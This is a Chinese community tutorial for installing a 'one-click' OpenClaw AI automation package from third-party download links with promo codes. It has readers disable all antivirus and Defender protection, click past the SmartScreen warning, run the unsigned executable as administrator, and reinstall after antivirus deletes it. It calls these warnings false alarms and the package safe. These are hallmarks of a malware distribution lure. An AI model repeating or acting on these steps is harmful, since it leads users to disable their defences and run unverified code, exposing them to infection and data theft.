双系统适配 OpenClaw 搭建，解决网关离线各类报错-开发者社区

本教程专为 Windows 11 和 macOS 系统用户设计，针对安装过程中常见的权限不足、Defender 拦截、中文路径报错以及 SmartScreen 阻拦等问题，提供了详细的解决方案。采用一键式安装设计，即便是零基础用户，也能在 10 分钟内完成配置并投入使用。

📑文章目录

前言：安装 OpenClaw 必看说明
安装前重要提醒（绝大多数部署失败源于此步骤疏漏）
第一步：获取双系统专属一键部署资源包
第二步：规范解压部署文件（Windows 实操要点）
第三步：启动一键运行程序，绕过系统安全拦截
第四步：自动化安装与环境初始化（全程无需手动干预）
第五步：部署完成快速上手使用说明
双系统专属常见问题汇总（建议收藏备查）
文末总结与交流说明

🔍一、前言

OpenClaw 是一款备受瞩目的本地 AI 自动化工具，无需联网或依赖云端账号即可独立运行。它采用 AI 逻辑自主完成各类电脑操作。最新 v2.7.9 版本已内置完整运行环境、配套依赖库及多系统适配配置，用户无需单独安装 Python 或 Node.js 环境，也无需输入命令行代码，即使是零基础用户也能轻松完成安装部署。

⚠️二、安装前重要提醒（遗漏易导致部署失败）

正式开启部署前，需要临时关闭电脑全部安全防护程序，防止安装文件被安全工具误判风险，出现隔离、删除等问题：

360 安全卫士 / 360 杀毒软件
腾讯电脑管家
火绒安全防护软件
Windows11 系统自带 Defender 实时防护功能

💡补充说明：OpenClaw 需要实现键鼠模拟操控、本地文件读写、浏览器进程管控能力，相关系统调用容易被安全软件标记为异常行为，属于程序固有运行特征；项目依托开源协议开发，整体运行环境安全稳定。

📥三、第一步：获取双系统专属一键部署资源包

Windows 端部署包下载地址：https://xiake.yun/api/download/package/18?promoCode=IVD643FDE29A

Mac 端配套资源下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IVD643FDE29A

资源整体体积：45.7MB，下载完成后得到.zip格式压缩安装包。

📂四、第二步：正确解压文件（Win11 实操要点）

Windows11 自带解压工具极易出现文件损坏、权限不足问题，优先选用 WinRAR、7-Zip 专业解压软件。

解压操作步骤：

右键已下载 zip 压缩包
选中【解压到当前文件夹】
解压结束自动生成文件夹：Openclaw-win

✅校验标准：解压目录内存在Openclaw Windows一键启动.exe（红色龙虾图标），代表文件解压完整无误。

macOS 端解压可使用系统归档实用工具，解压后按照对应平台指引启动程序即可。

▶️五、第三步：运行一键启动程序（解决 Win11 安全拦截）

Windows11 系统安全机制默认拦截无数字签名应用，出现安全弹窗时按以下步骤放行：

双击Openclaw Windows一键启动.exe启动程序
弹出「Windows 已保护你的电脑」系统提示框
点击弹窗【更多信息】
选择【仍要运行】，即可正常打开安装引导界面

弹窗仅为系统常规安全提醒，并非程序存在安全隐患，可放心继续安装。

⚙️六、第四步：自动安装部署（全程无需手动操作）

进入程序欢迎界面后，点击【开始使用】跳转路径配置页面
路径设置硬性规则（Win11 强制规范）：安装目录必须使用纯英文命名，禁止出现中文、空格、特殊符号。✅推荐安装路径示例：

plaintext

D:\OpenClaw E:\AI\OpenClaw

❌禁止使用路径示例：

plaintext

D:\软件\OpenClaw D:\小龙虾 C:\Program Files\OpenClaw

选定合规路径，勾选用户协议后点击【开始安装】安装程序全自动执行整套流程：检测 Win11 系统运行环境→批量安装所需依赖组件→部署核心服务程序→配置系统运行权限→生成桌面快捷启动图标

⏱等待时长：3～5 分钟，安装进程中请勿随意关闭安装窗口。

🚀七、第五步：启动成功 & 快速使用指南

安装完毕软件自动弹出主界面，页面右上角显示「Gateway 在线」字样，即代表部署全部完成。直接在指令输入框下发需求，AI 自动执行对应操作，常用实操指令参考：

帮我整理 D 盘下载文件夹内全部图片文件
打开浏览器检索 AI 智能体相关行业趋势，并把结果整理保存为表格
批量对桌面全部文件进行分类归档
扫描本机冗余垃圾文件并执行清理工作

❗八、双系统专属常见问题（收藏备用）

安装弹窗提示权限不足：右键程序图标→选择【以管理员身份运行】再次启动（Windows）；macOS 前往隐私与安全性放行程序权限。
Gateway 持续显示离线状态：关闭 Defender 实时防护；核查安装路径是否全英文；重启一键启动程序。
软件第一次启动加载缓慢：系统第一次运行需要初始化组件，等待 1～3 分钟属于正常现象。
AI 无法操控鼠标、读写本地文件：开启系统对应辅助权限，以管理员权限启动 OpenClaw。
安装包文件被杀毒软件自动删除：临时关闭全部安全软件→重新解压压缩包→从头执行安装流程。

📝写在最后

OpenClaw 是一款本地化 AI 工具，能够自主处理各种电脑任务。它完美兼容 Windows 11 和 macOS 系统，运行稳定高效，本地化运行模式彻底保障用户隐私安全。最新发布的 v2.7.9 一键安装包针对两大平台进行了全面优化，纯净无捆绑、无广告干扰，特别适合日常办公和自动化效率提升等多样化应用场景。